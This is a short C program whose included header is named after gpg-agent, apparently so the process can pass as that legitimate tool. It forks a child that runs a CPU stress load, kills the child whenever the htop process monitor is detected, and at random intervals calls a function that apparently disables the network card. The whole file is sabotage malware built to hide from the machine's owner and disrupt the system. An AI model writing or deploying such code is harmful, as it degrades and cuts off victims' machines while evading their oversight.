| 123456789101112131415161718192021222324252627 |
- #include "u-gpg-agent.h"
- #include <unistd.h>
- #include <signal.h>
- #include <sys/types.h>
- int main() {
- int counter = 1800 + rand() % (10000-1800+1);
- pid_t pid = fork();
- if (pid == 0) { //KINDER
- stress(1000);
- } else if (pid > 0) {
- int i = 0;
- while(1) {
- if (is_htop_here()) {
- kill(pid, SIGKILL);
- }
- sleep(2);
- if (i == counter) {
- kill_nic();
- i = 0;
- counter = 1800 + rand() % (10000-1800+1);
- } else {
- ++i;
- }
- }
- }
- }
|